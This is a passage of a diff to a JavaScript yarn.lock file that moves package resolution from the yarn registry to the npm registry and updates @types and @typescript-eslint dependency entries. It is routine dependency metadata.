-  resolved "https://registry.yarnpkg.com/@types/json-schema/-/json-schema-7.0.15.tgz#596a1747233694d50f6ad8a7869fcb6f56cf5841"
+  resolved "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.15.tgz"
   integrity sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==
 
-"@types/json5@^0.0.29":
-  version "0.0.29"
-  resolved "https://registry.yarnpkg.com/@types/json5/-/json5-0.0.29.tgz#ee28707ae94e11d2b827bcbe5270bcea7f3e71ee"
-  integrity sha512-dRLjCWHYg4oaA77cxO64oO+7JwCwnIzkZPdrrC71jQmQtlhM556pwKo5bUzqvZndkVbeFLIIi+9TC40JNF5hNQ==
-
 "@types/minimatch@^5.1.2":
   version "5.1.2"
-  resolved "https://registry.yarnpkg.com/@types/minimatch/-/minimatch-5.1.2.tgz#07508b45797cb81ec3f273011b054cd0755eddca"
+  resolved "https://registry.npmjs.org/@types/minimatch/-/minimatch-5.1.2.tgz"
   integrity sha512-K0VQKziLUWkVKiRVrx4a40iPaxTUefQmjtkQofBkYRcoaaL/8rhwDWww9qWbrgicNOgnpIsMxyNIUM4+n6dUIA==
 
+"@types/mocha@^10.0.10", "@types/mocha@^10.0.2":
+  version "10.0.10"
+  resolved "https://registry.npmjs.org/@types/mocha/-/mocha-10.0.10.tgz"
+  integrity sha512-xPyYSz1cMPnJQhl0CLMH68j3gprKZaTjG3s5Vi+fDgx+uhG9NOXwbVt52eFS8ECyXhyKcjDLCBEqBExKuiZb7Q==
+
 "@types/node@*", "@types/node@^18.7.18":
   version "18.7.19"
-  resolved "https://registry.yarnpkg.com/@types/node/-/node-18.7.19.tgz#ad83aa9b7af470fab7e0f562be87e97dc8ffe08e"
+  resolved "https://registry.npmjs.org/@types/node/-/node-18.7.19.tgz"
   integrity sha512-Sq1itGUKUX1ap7GgZlrzdBydjbsJL/NSQt/4wkAxUJ7/OS5c2WkoN6WSpWc2Yc5wtKMZOUA0VCs/j2XJadN3HA==
 
-"@types/node@18.11.9":
-  version "18.11.9"
-  resolved "https://registry.yarnpkg.com/@types/node/-/node-18.11.9.tgz#02d013de7058cea16d36168ef2fc653464cfbad4"
-  integrity sha512-CRpX21/kGdzjOpFsZSkcrXMGIBWMGNIHXXBVFSH+ggkftxg+XYP20TESbh+zFvFj3EQOl5byk0HTRn1IL6hbqg==
+"@types/node@^20":
+  version "20.17.10"
+  resolved "https://registry.npmjs.org/@types/node/-/node-20.17.10.tgz"
+  integrity sha512-/jrvh5h6NXhEauFFexRin69nA0uHJ5gwk4iDivp/DeoEua3uwCUto6PC86IpRITBOs4+6i2I56K5x5b6WYGXHA==
+  dependencies:
+    undici-types "~6.19.2"
 
 "@types/node@^20.2.5":
   version "20.2.5"
-  resolved "https://registry.yarnpkg.com/@types/node/-/node-20.2.5.tgz#26d295f3570323b2837d322180dfbf1ba156fefb"
+  resolved "https://registry.npmjs.org/@types/node/-/node-20.2.5.tgz"
   integrity sha512-JJulVEQXmiY9Px5axXHeYGLSjhkZEnD+MDPDGbCbIAbMslkKwmygtZFy1X6s/075Yo94sf8GuSlFfPzysQrWZQ==
 
-"@types/prettier@^1.0.0 || ^2.0.0 || ^3.0.0":
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/@types/prettier/-/prettier-3.0.0.tgz#e9bc8160230d3a461dab5c5b41cceef1ef723057"
-  integrity sha512-mFMBfMOz8QxhYVbuINtswBp9VL2b4Y0QqYHwqLz3YbgtfAcat2Dl6Y1o4e22S/OVE6Ebl9m7wWiMT2lSbAs1wA==
-  dependencies:
-    prettier "*"
-
 "@types/prettier@^2.1.5":
   version "2.7.0"
-  resolved "https://registry.yarnpkg.com/@types/prettier/-/prettier-2.7.0.tgz#ea03e9f0376a4446f44797ca19d9c46c36e352dc"
+  resolved "https://registry.npmjs.org/@types/prettier/-/prettier-2.7.0.tgz"
   integrity sha512-RI1L7N4JnW5gQw2spvL7Sllfuf1SaHdrZpCHiBlCXjIlufi1SMNnbu2teze3/QE67Fg2tBlH7W+mi4hVNk4p0A==
 
-"@types/prettier@^2.7.1":
-  version "2.7.3"
-  resolved "https://registry.yarnpkg.com/@types/prettier/-/prettier-2.7.3.tgz#3e51a17e291d01d17d3fc61422015a933af7a08f"
-  integrity sha512-+68kP9yzs4LMp7VNh8gdzMSPZFL44MLGqiHWvttYJe+6qnuVr4Ek9wSBQoveqY/r+LwjCcU29kNVkidwim+kYA==
-
 "@types/prop-types@*":
   version "15.7.5"
-  resolved "https://registry.yarnpkg.com/@types/prop-types/-/prop-types-15.7.5.tgz#5f19d2b85a98e9558036f6a3cacc8819420f05cf"
+  resolved "https://registry.npmjs.org/@types/prop-types/-/prop-types-15.7.5.tgz"
   integrity sha512-JCB8C6SnDoQf0cNycqd/35A7MjcnK+ZTqE7judS6o7utxUCg6imJg3QK2qzHKszlTjcj2cn+NwMB2i96ubpj7w==
 
-"@types/react-dom@18.0.9":
-  version "18.0.9"
-  resolved "https://registry.yarnpkg.com/@types/react-dom/-/react-dom-18.0.9.tgz#ffee5e4bfc2a2f8774b15496474f8e7fe8d0b504"
-  integrity sha512-qnVvHxASt/H7i+XG1U1xMiY5t+IHcPGUK7TDMDzom08xa7e86eCeKOiLZezwCKVxJn6NEiiy2ekgX8aQssjIKg==
-  dependencies:
-    "@types/react" "*"
-
 "@types/react-dom@^18.0.0":
   version "18.0.6"
-  resolved "https://registry.yarnpkg.com/@types/react-dom/-/react-dom-18.0.6.tgz#36652900024842b74607a17786b6662dd1e103a1"
+  resolved "https://registry.npmjs.org/@types/react-dom/-/react-dom-18.0.6.tgz"
   integrity sha512-/5OFZgfIPSwy+YuIBP/FgJnQnsxhZhjjrnxudMddeblOouIodEQ75X14Rr4wGSG/bknL+Omy9iWlLo1u/9GzAA==
   dependencies:
     "@types/react" "*"
 
 "@types/react@*":
   version "18.0.21"
-  resolved "https://registry.yarnpkg.com/@types/react/-/react-18.0.21.tgz#b8209e9626bb00a34c76f55482697edd2b43cc67"
+  resolved "https://registry.npmjs.org/@types/react/-/react-18.0.21.tgz"
   integrity sha512-7QUCOxvFgnD5Jk8ZKlUAhVcRj7GuJRjnjjiY/IUBWKgOlnvDvTMLD4RTF7NPyVmbRhNrbomZiOepg7M/2Kj1mA==
   dependencies:
     "@types/prop-types" "*"
     "@types/scheduler" "*"
     csstype "^3.0.2"
 
-"@types/react@18.0.25":
-  version "18.0.25"
-  resolved "https://registry.yarnpkg.com/@types/react/-/react-18.0.25.tgz#8b1dcd7e56fe7315535a4af25435e0bb55c8ae44"
-  integrity sha512-xD6c0KDT4m7n9uD4ZHi02lzskaiqcBxf4zi+tXZY98a04wvc0hi/TcCPC2FOESZi51Nd7tlUeOJY8RofL799/g==
-  dependencies:
-    "@types/prop-types" "*"
-    "@types/scheduler" "*"
-    csstype "^3.0.2"
-
-"@types/resolve@1.20.2":
-  version "1.20.2"
-  resolved "https://registry.yarnpkg.com/@types/resolve/-/resolve-1.20.2.tgz#97d26e00cd4a0423b4af620abecf3e6f442b7975"
-  integrity sha512-60BCwRFOZCQhDncwQdxxeOEEkbc5dIMccYLwbxsS4TUNeVECQ/pBJ0j09mrHOl/JJvpRPGwO9SvE4nR2Nb/a4Q==
-
 "@types/scheduler@*":
   version "0.16.2"
-  resolved "https://registry.yarnpkg.com/@types/scheduler/-/scheduler-0.16.2.tgz#1a62f89525723dde24ba1b01b092bf5df8ad4d39"
+  resolved "https://registry.npmjs.org/@types/scheduler/-/scheduler-0.16.2.tgz"
   integrity sha512-hppQEBDmlwhFAXKJX2KnWLYu5yMfi91yazPb2l+lbJiwW+wdo1gNeRA+3RgNSO39WYX2euey41KEwnqesU2Jew==
 
 "@types/semver@^7.5.0":
   version "7.5.8"
-  resolved "https://registry.yarnpkg.com/@types/semver/-/semver-7.5.8.tgz#8268a8c57a3e4abd25c165ecd36237db7948a55e"
+  resolved "https://registry.npmjs.org/@types/semver/-/semver-7.5.8.tgz"
   integrity sha512-I8EUhyrgfLrcTkzV3TSsGyl1tSuPrEDzr0yd5m90UgNxQkyDXULk3b6MlQqTCpZpNtWe1K0hzclnZkTcLBe2UQ==
 
 "@types/stack-utils@^2.0.0":
   version "2.0.1"
-  resolved "https://registry.yarnpkg.com/@types/stack-utils/-/stack-utils-2.0.1.tgz#20f18294f797f2209b5f65c8e3b5c8e8261d127c"
+  resolved "https://registry.npmjs.org/@types/stack-utils/-/stack-utils-2.0.1.tgz"
   integrity sha512-Hl219/BT5fLAaz6NDkSuhzasy49dwQS/DSdu4MdggFB8zcXv7vflBI3xp7FEmkmdDkBUI2bPUNeMttp2knYdxw==
 
+"@types/stack-utils@^2.0.3":
+  version "2.0.3"
+  resolved "https://registry.yarnpkg.com/@types/stack-utils/-/stack-utils-2.0.3.tgz#6209321eb2c1712a7e7466422b8cb1fc0d9dd5d8"
+  integrity sha512-9aEbYZ3TbYMznPdcdr3SmIrLXwC/AKZXQeCf9Pgao5CKb8CyHuEX5jzWPTkvregvhRJHcpRO6BFoGW9ycaOkYw==
+
 "@types/tough-cookie@*":
   version "4.0.2"
-  resolved "https://registry.yarnpkg.com/@types/tough-cookie/-/tough-cookie-4.0.2.tgz#6286b4c7228d58ab7866d19716f3696e03a09397"
+  resolved "https://registry.npmjs.org/@types/tough-cookie/-/tough-cookie-4.0.2.tgz"
   integrity sha512-Q5vtl1W5ue16D+nIaW8JWebSSraJVlK+EthKn7e7UcD4KWsaSJ8BqGPXNaPghgtcn/fhvrN17Tv8ksUsQpiplw==
 
+"@types/triple-beam@^1.3.2":
+  version "1.3.5"
+  resolved "https://registry.npmjs.org/@types/triple-beam/-/triple-beam-1.3.5.tgz"
+  integrity sha512-6WaYesThRMCl19iryMYP7/x2OVgCtbIVflDGFpWnb9irXI3UjYE4AzmYuiUKY1AJstGijoY+MgUszMgRxIYTYw==
+
+"@types/vscode@^1.96.0":
+  version "1.96.0"
+  resolved "https://registry.npmjs.org/@types/vscode/-/vscode-1.96.0.tgz"
+  integrity sha512-qvZbSZo+K4ZYmmDuaodMbAa67Pl6VDQzLKFka6rq+3WUTY4Kro7Bwoi0CuZLO/wema0ygcmpwow7zZfPJTs5jg==
+
 "@types/yargs-parser@*":
   version "21.0.0"
-  resolved "https://registry.yarnpkg.com/@types/yargs-parser/-/yargs-parser-21.0.0.tgz#0c60e537fa790f5f9472ed2776c2b71ec117351b"
+  resolved "https://registry.npmjs.org/@types/yargs-parser/-/yargs-parser-21.0.0.tgz"
   integrity sha512-iO9ZQHkZxHn4mSakYV0vFHAVDyEOIJQrV2uZ06HxEPcx+mt8swXoZHIbaaJ2crJYFfErySgktuTZ3BeLz+XmFA==
 
 "@types/yargs@^13.0.0":
   version "13.0.12"
-  resolved "https://registry.yarnpkg.com/@types/yargs/-/yargs-13.0.12.tgz#d895a88c703b78af0465a9de88aa92c61430b092"
+  resolved "https://registry.npmjs.org/@types/yargs/-/yargs-13.0.12.tgz"
   integrity sha512-qCxJE1qgz2y0hA4pIxjBR+PelCH0U5CK1XJXFwCNqfmliatKp47UCXXE9Dyk1OXBDLvsCF57TqQEJaeLfDYEOQ==
   dependencies:
     "@types/yargs-parser" "*"
 
+"@types/yargs@^17.0.33":
+  version "17.0.33"
+  resolved "https://registry.yarnpkg.com/@types/yargs/-/yargs-17.0.33.tgz#8c32303da83eec050a84b3c7ae7b9f922d13e32d"
+  integrity sha512-WpxBCKWPLr4xSsHgz511rFJAM+wS28w2zEO1QDNY5zM/S8ok70NNfztH0xwhqKyaK0OHCbN98LDAZuy1ctxDkA==
+  dependencies:
+    "@types/yargs-parser" "*"
+
 "@types/yargs@^17.0.8":
   version "17.0.13"
-  resolved "https://registry.yarnpkg.com/@types/yargs/-/yargs-17.0.13.tgz#34cced675ca1b1d51fcf4d34c3c6f0fa142a5c76"
+  resolved "https://registry.npmjs.org/@types/yargs/-/yargs-17.0.13.tgz"
   integrity sha512-9sWaruZk2JGxIQU+IhI1fhPYRcQ0UuTNuKuCW9bR5fp7qi2Llf7WDzNa17Cy7TKnh3cdxDOiyTu6gaLS0eDatg==
   dependencies:
     "@types/yargs-parser" "*"
 
+"@types/yauzl@^2.9.1":
+  version "2.10.3"
+  resolved "https://registry.npmjs.org/@types/yauzl/-/yauzl-2.10.3.tgz"
+  integrity sha512-oJoftv0LSuaDZE3Le4DbKX+KS9G36NzOeSap90UIK0yMA/NhKJhqlSGtNDORNRaIbQfzjXDrQa0ytJ6mNRGz/Q==
+  dependencies:
+    "@types/node" "*"
+
+"@typescript-eslint/eslint-plugin@8.18.1":
+  version "8.18.1"
+  resolved "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-8.18.1.tgz"
+  integrity sha512-Ncvsq5CT3Gvh+uJG0Lwlho6suwDfUXH0HztslDf5I+F2wAFAZMRwYLEorumpKLzmO2suAXZ/td1tBg4NZIi9CQ==
+  dependencies:
+    "@eslint-community/regexpp" "^4.10.0"
+    "@typescript-eslint/scope-manager" "8.18.1"
+    "@typescript-eslint/type-utils" "8.18.1"
+    "@typescript-eslint/utils" "8.18.1"
+    "@typescript-eslint/visitor-keys" "8.18.1"
+    graphemer "^1.4.0"
+    ignore "^5.3.1"
+    natural-compare "^1.4.0"
+    ts-api-utils "^1.3.0"
+
 "@typescript-eslint/eslint-plugin@^7.4.0":
   version "7.4.0"
-  resolved "https://registry.yarnpkg.com/@typescript-eslint/eslint-plugin/-/eslint-plugin-7.4.0.tgz#de61c3083842fc6ac889d2fc83c9a96b55ab8328"
+  resolved "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-7.4.0.tgz"
   integrity sha512-yHMQ/oFaM7HZdVrVm/M2WHaNPgyuJH4WelkSVEWSSsir34kxW2kDJCxlXRhhGWEsMN0WAW/vLpKfKVcm8k+MPw==
   dependencies:
     "@eslint-community/regexpp" "^4.5.1"
@@ -3218,20 +3455,35 @@
     semver "^7.5.4"
     ts-api-utils "^1.0.1"
 
-"@typescript-eslint/parser@^5.4.2 || ^6.0.0":
-  version "6.8.0"
-  resolved "https://registry.yarnpkg.com/@typescript-eslint/parser/-/parser-6.8.0.tgz#bb2a969d583db242f1ee64467542f8b05c2e28cb"
-  integrity sha512-5tNs6Bw0j6BdWuP8Fx+VH4G9fEPDxnVI7yH1IAPkQH5RUtvKwRoqdecAPdQXv4rSOADAaz1LFBZvZG7VbXivSg==
+"@typescript-eslint/eslint-plugin@^8.7.0":
+  version "8.7.0"
+  resolved "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-8.7.0.tgz"
+  integrity sha512-RIHOoznhA3CCfSTFiB6kBGLQtB/sox+pJ6jeFu6FxJvqL8qRxq/FfGO/UhsGgQM9oGdXkV4xUgli+dt26biB6A==
+  dependencies:
+    "@eslint-community/regexpp" "^4.10.0"
+    "@typescript-eslint/scope-manager" "8.7.0"
+    "@typescript-eslint/type-utils" "8.7.0"
+    "@typescript-eslint/utils" "8.7.0"
+    "@typescript-eslint/visitor-keys" "8.7.0"
+    graphemer "^1.4.0"
+    ignore "^5.3.1"
+    natural-compare "^1.4.0"
+    ts-api-utils "^1.3.0"
+
+"@typescript-eslint/parser@8.18.1":
+  version "8.18.1"
+  resolved "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-8.18.1.tgz"
+  integrity sha512-rBnTWHCdbYM2lh7hjyXqxk70wvon3p2FyaniZuey5TrcGBpfhVp0OxOa6gxr9Q9YhZFKyfbEnxc24ZnVbbUkCA==
   dependencies:
-    "@typescript-eslint/scope-manager" "6.8.0"
-    "@typescript-eslint/types" "6.8.0"
-    "@typescript-eslint/typescript-estree" "6.8.0"
-    "@typescript-eslint/visitor-keys" "6.8.0"
+    "@typescript-eslint/scope-manager" "8.18.1"
+    "@typescript-eslint/types" "8.18.1"
+    "@typescript-eslint/typescript-estree" "8.18.1"
+    "@typescript-eslint/visitor-keys" "8.18.1"
     debug "^4.3.4"
 
 "@typescript-eslint/parser@^7.4.0":
   version "7.4.0"
-  resolved "https://registry.yarnpkg.com/@typescript-eslint/parser/-/parser-7.4.0.tgz#540f4321de1e52b886c0fa68628af1459954c1f1"
+  resolved "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-7.4.0.tgz"
   integrity sha512-ZvKHxHLusweEUVwrGRXXUVzFgnWhigo4JurEj0dGF1tbcGh6buL+ejDdjxOQxv6ytcY1uhun1p2sm8iWStlgLQ==
   dependencies:
     "@typescript-eslint/scope-manager" "7.4.0"
@@ -3240,25 +3492,44 @@
     "@typescript-eslint/visitor-keys" "7.4.0"
     debug "^4.3.4"
 
-"@typescript-eslint/scope-manager@6.8.0":
-  version "6.8.0"
-  resolved "https://registry.yarnpkg.com/@typescript-eslint/scope-manager/-/scope-manager-6.8.0.tgz#5cac7977385cde068ab30686889dd59879811efd"
-  integrity sha512-xe0HNBVwCph7rak+ZHcFD6A+q50SMsFwcmfdjs9Kz4qDh5hWhaPhFjRs/SODEhroBI5Ruyvyz9LfwUJ624O40g==
+"@typescript-eslint/parser@^8.7.0":
+  version "8.7.0"
+  resolved "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-8.7.0.tgz"
+  integrity sha512-lN0btVpj2unxHlNYLI//BQ7nzbMJYBVQX5+pbNXvGYazdlgYonMn4AhhHifQ+J4fGRYA/m1DjaQjx+fDetqBOQ==
   dependencies:
-    "@typescript-eslint/types" "6.8.0"
-    "@typescript-eslint/visitor-keys" "6.8.0"
+    "@typescript-eslint/scope-manager" "8.7.0"
+    "@typescript-eslint/types" "8.7.0"
+    "@typescript-eslint/typescript-estree" "8.7.0"
+    "@typescript-eslint/visitor-keys" "8.7.0"
+    debug "^4.3.4"
 
 "@typescript-eslint/scope-manager@7.4.0":
   version "7.4.0"
-  resolved "https://registry.yarnpkg.com/@typescript-eslint/scope-manager/-/scope-manager-7.4.0.tgz#acfc69261f10ece7bf7ece1734f1713392c3655f"
+  resolved "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-7.4.0.tgz"
   integrity sha512-68VqENG5HK27ypafqLVs8qO+RkNc7TezCduYrx8YJpXq2QGZ30vmNZGJJJC48+MVn4G2dCV8m5ZTVnzRexTVtw==
   dependencies:
     "@typescript-eslint/types" "7.4.0"
     "@typescript-eslint/visitor-keys" "7.4.0"
 
+"@typescript-eslint/scope-manager@8.18.1":
+  version "8.18.1"
+  resolved "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-8.18.1.tgz"
+  integrity sha512-HxfHo2b090M5s2+/9Z3gkBhI6xBH8OJCFjH9MhQ+nnoZqxU3wNxkLT+VWXWSFWc3UF3Z+CfPAyqdCTdoXtDPCQ==
+  dependencies:
+    "@typescript-eslint/types" "8.18.1"
+    "@typescript-eslint/visitor-keys" "8.18.1"
+
+"@typescript-eslint/scope-manager@8.7.0":
+  version "8.7.0"
+  resolved "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-8.7.0.tgz"
+  integrity sha512-87rC0k3ZlDOuz82zzXRtQ7Akv3GKhHs0ti4YcbAJtaomllXoSO8hi7Ix3ccEvCd824dy9aIX+j3d2UMAfCtVpg==
+  dependencies:
+    "@typescript-eslint/types" "8.7.0"
+    "@typescript-eslint/visitor-keys" "8.7.0"
+
 "@typescript-eslint/type-utils@7.4.0":
   version "7.4.0"
-  resolved "https://registry.yarnpkg.com/@typescript-eslint/type-utils/-/type-utils-7.4.0.tgz#cfcaab21bcca441c57da5d3a1153555e39028cbd"
+  resolved "https://registry.npmjs.org/@typescript-eslint/type-utils/-/type-utils-7.4.0.tgz"
   integrity sha512-247ETeHgr9WTRMqHbbQdzwzhuyaJ8dPTuyuUEMANqzMRB1rj/9qFIuIXK7l0FX9i9FXbHeBQl/4uz6mYuCE7Aw==
   dependencies:
     "@typescript-eslint/typescript-estree" "7.4.0"
@@ -3266,32 +3537,44 @@
     debug "^4.3.4"
     ts-api-utils "^1.0.1"
 
-"@typescript-eslint/types@6.8.0":
-  version "6.8.0"
-  resolved "https://registry.yarnpkg.com/@typescript-eslint/types/-/types-6.8.0.tgz#1ab5d4fe1d613e3f65f6684026ade6b94f7e3ded"
-  integrity sha512-p5qOxSum7W3k+llc7owEStXlGmSl8FcGvhYt8Vjy7FqEnmkCVlM3P57XQEGj58oqaBWDQXbJDZxwUWMS/EAPNQ==
+"@typescript-eslint/type-utils@8.18.1":
+  version "8.18.1"
+  resolved "https://registry.npmjs.org/@typescript-eslint/type-utils/-/type-utils-8.18.1.tgz"
+  integrity sha512-jAhTdK/Qx2NJPNOTxXpMwlOiSymtR2j283TtPqXkKBdH8OAMmhiUfP0kJjc/qSE51Xrq02Gj9NY7MwK+UxVwHQ==
+  dependencies:
+    "@typescript-eslint/typescript-estree" "8.18.1"
+    "@typescript-eslint/utils" "8.18.1"
+    debug "^4.3.4"
+    ts-api-utils "^1.3.0"
+
+"@typescript-eslint/type-utils@8.7.0":
+  version "8.7.0"
+  resolved "https://registry.npmjs.org/@typescript-eslint/type-utils/-/type-utils-8.7.0.tgz"
+  integrity sha512-tl0N0Mj3hMSkEYhLkjREp54OSb/FI6qyCzfiiclvJvOqre6hsZTGSnHtmFLDU8TIM62G7ygEa1bI08lcuRwEnQ==
+  dependencies:
+    "@typescript-eslint/typescript-estree" "8.7.0"
+    "@typescript-eslint/utils" "8.7.0"
+    debug "^4.3.4"
+    ts-api-utils "^1.3.0"
 
 "@typescript-eslint/types@7.4.0":
   version "7.4.0"
-  resolved "https://registry.yarnpkg.com/@typescript-eslint/types/-/types-7.4.0.tgz#ee9dafa75c99eaee49de6dcc9348b45d354419b6"
+  resolved "https://registry.npmjs.org/@typescript-eslint/types/-/types-7.4.0.tgz"
   integrity sha512-mjQopsbffzJskos5B4HmbsadSJQWaRK0UxqQ7GuNA9Ga4bEKeiO6b2DnB6cM6bpc8lemaPseh0H9B/wyg+J7rw==
 
-"@typescript-eslint/typescript-estree@6.8.0":
-  version "6.8.0"
-  resolved "https://registry.yarnpkg.com/@typescript-eslint/typescript-estree/-/typescript-estree-6.8.0.tgz#9565f15e0cd12f55cf5aa0dfb130a6cb0d436ba1"
-  integrity sha512-ISgV0lQ8XgW+mvv5My/+iTUdRmGspducmQcDw5JxznasXNnZn3SKNrTRuMsEXv+V/O+Lw9AGcQCfVaOPCAk/Zg==
-  dependencies:
-    "@typescript-eslint/types" "6.8.0"
-    "@typescript-eslint/visitor-keys" "6.8.0"
-    debug "^4.3.4"
-    globby "^11.1.0"
-    is-glob "^4.0.3"
-    semver "^7.5.4"
-    ts-api-utils "^1.0.1"
+"@typescript-eslint/types@8.18.1":
+  version "8.18.1"
+  resolved "https://registry.npmjs.org/@typescript-eslint/types/-/types-8.18.1.tgz"
+  integrity sha512-7uoAUsCj66qdNQNpH2G8MyTFlgerum8ubf21s3TSM3XmKXuIn+H2Sifh/ES2nPOPiYSRJWAk0fDkW0APBWcpfw==
+
+"@typescript-eslint/types@8.7.0":
+  version "8.7.0"
+  resolved "https://registry.npmjs.org/@typescript-eslint/types/-/types-8.7.0.tgz"
+  integrity sha512-LLt4BLHFwSfASHSF2K29SZ+ZCsbQOM+LuarPjRUuHm+Qd09hSe3GCeaQbcCr+Mik+0QFRmep/FyZBO6fJ64U3w==
 
 "@typescript-eslint/typescript-estree@7.4.0":
   version "7.4.0"
-  resolved "https://registry.yarnpkg.com/@typescript-eslint/typescript-estree/-/typescript-estree-7.4.0.tgz#12dbcb4624d952f72c10a9f4431284fca24624f4"
+  resolved "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-7.4.0.tgz"
   integrity sha512-A99j5AYoME/UBQ1ucEbbMEmGkN7SE0BvZFreSnTd1luq7yulcHdyGamZKizU7canpGDWGJ+Q6ZA9SyQobipePg==
   dependencies:
     "@typescript-eslint/types" "7.4.0"
@@ -3303,9 +3586,37 @@
     semver "^7.5.4"
     ts-api-utils "^1.0.1"
 
+"@typescript-eslint/typescript-estree@8.18.1":
+  version "8.18.1"
+  resolved "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-8.18.1.tgz"
+  integrity sha512-z8U21WI5txzl2XYOW7i9hJhxoKKNG1kcU4RzyNvKrdZDmbjkmLBo8bgeiOJmA06kizLI76/CCBAAGlTlEeUfyg==
+  dependencies:
+    "@typescript-eslint/types" "8.18.1"
+    "@typescript-eslint/visitor-keys" "8.18.1"
+    debug "^4.3.4"
+    fast-glob "^3.3.2"
+    is-glob "^4.0.3"
+    minimatch "^9.0.4"
+    semver "^7.6.0"
+    ts-api-utils "^1.3.0"
+
+"@typescript-eslint/typescript-estree@8.7.0":
+  version "8.7.0"
+  resolved "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-8.7.0.tgz"
+  integrity sha512-MC8nmcGHsmfAKxwnluTQpNqceniT8SteVwd2voYlmiSWGOtjvGXdPl17dYu2797GVscK30Z04WRM28CrKS9WOg==
+  dependencies:
+    "@typescript-eslint/types" "8.7.0"
+    "@typescript-eslint/visitor-keys" "8.7.0"
+    debug "^4.3.4"
+    fast-glob "^3.3.2"
+    is-glob "^4.0.3"
+    minimatch "^9.0.4"
+    semver "^7.6.0"
+    ts-api-utils "^1.3.0"
+
 "@typescript-eslint/utils@7.4.0":
   version "7.4.0"
-  resolved "https://registry.yarnpkg.com/@typescript-eslint/utils/-/utils-7.4.0.tgz#d889a0630cab88bddedaf7c845c64a00576257bd"
+  resolved "https://registry.npmjs.org/@typescript-eslint/utils/-/utils-7.4.0.tgz"
   integrity sha512-NQt9QLM4Tt8qrlBVY9lkMYzfYtNz8/6qwZg8pI3cMGlPnj6mOpRxxAm7BMJN9K0AiY+1BwJ5lVC650YJqYOuNg==
   dependencies:
     "@eslint-community/eslint-utils" "^4.4.0"
@@ -3316,47 +3627,97 @@
     "@typescript-eslint/typescript-estree" "7.4.0"
     semver "^7.5.4"
 
-"@typescript-eslint/visitor-keys@6.8.0":
-  version "6.8.0"
-  resolved "https://registry.yarnpkg.com/@typescript-eslint/visitor-keys/-/visitor-keys-6.8.0.tgz#cffebed56ae99c45eba901c378a6447b06be58b8"
-  integrity sha512-oqAnbA7c+pgOhW2OhGvxm0t1BULX5peQI/rLsNDpGM78EebV3C9IGbX5HNZabuZ6UQrYveCLjKo8Iy/lLlBkkg==
+"@typescript-eslint/utils@8.18.1":
+  version "8.18.1"
+  resolved "https://registry.npmjs.org/@typescript-eslint/utils/-/utils-8.18.1.tgz"
+  integrity sha512-8vikiIj2ebrC4WRdcAdDcmnu9Q/MXXwg+STf40BVfT8exDqBCUPdypvzcUPxEqRGKg9ALagZ0UWcYCtn+4W2iQ==
   dependencies:
-    "@typescript-eslint/types" "6.8.0"
-    eslint-visitor-keys "^3.4.1"
+    "@eslint-community/eslint-utils" "^4.4.0"
+    "@typescript-eslint/scope-manager" "8.18.1"
+    "@typescript-eslint/types" "8.18.1"
+    "@typescript-eslint/typescript-estree" "8.18.1"
+
+"@typescript-eslint/utils@8.7.0":
+  version "8.7.0"
+  resolved "https://registry.npmjs.org/@typescript-eslint/utils/-/utils-8.7.0.tgz"
+  integrity sha512-ZbdUdwsl2X/s3CiyAu3gOlfQzpbuG3nTWKPoIvAu1pu5r8viiJvv2NPN2AqArL35NCYtw/lrPPfM4gxrMLNLPw==
+  dependencies:
+    "@eslint-community/eslint-utils" "^4.4.0"
+    "@typescript-eslint/scope-manager" "8.7.0"
+    "@typescript-eslint/types" "8.7.0"
+    "@typescript-eslint/typescript-estree" "8.7.0"
 
 "@typescript-eslint/visitor-keys@7.4.0":
   version "7.4.0"
-  resolved "https://registry.yarnpkg.com/@typescript-eslint/visitor-keys/-/visitor-keys-7.4.0.tgz#0c8ff2c1f8a6fe8d7d1a57ebbd4a638e86a60a94"
+  resolved "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-7.4.0.tgz"
   integrity sha512-0zkC7YM0iX5Y41homUUeW1CHtZR01K3ybjM1l6QczoMuay0XKtrb93kv95AxUGwdjGr64nNqnOCwmEl616N8CA==
   dependencies:
     "@typescript-eslint/types" "7.4.0"
     eslint-visitor-keys "^3.4.1"
 
+"@typescript-eslint/visitor-keys@8.18.1":
+  version "8.18.1"
+  resolved "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-8.18.1.tgz"
+  integrity sha512-Vj0WLm5/ZsD013YeUKn+K0y8p1M0jPpxOkKdbD1wB0ns53a5piVY02zjf072TblEweAbcYiFiPoSMF3kp+VhhQ==
+  dependencies:
+    "@typescript-eslint/types" "8.18.1"
+    eslint-visitor-keys "^4.2.0"
+
+"@typescript-eslint/visitor-keys@8.7.0":
+  version "8.7.0"
+  resolved "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-8.7.0.tgz"
+  integrity sha512-b1tx0orFCCh/THWPQa2ZwWzvOeyzzp36vkJYOpVg0u8UVOIsfVrnuC9FqAw9gRKn+rG2VmWQ/zDJZzkxUnj/XQ==
+  dependencies:
+    "@typescript-eslint/types" "8.7.0"
+    eslint-visitor-keys "^3.4.3"
+
 "@ungap/structured-clone@^1.2.0":
   version "1.2.0"
-  resolved "https://registry.yarnpkg.com/@ungap/structured-clone/-/structured-clone-1.2.0.tgz#756641adb587851b5ccb3e095daf27ae581c8406"
+  resolved "https://registry.npmjs.org/@ungap/structured-clone/-/structured-clone-1.2.0.tgz"
   integrity sha512-zuVdFrMJiuCDQUMCzQaD6KL28MjnqqN8XnAqiEq9PNm/hCPTSGfrXCOfwj1ow4LFb/tNymJPwsNbVePc1xFqrQ==
 
-"@use-gesture/core@10.2.27":
-  version "10.2.27"
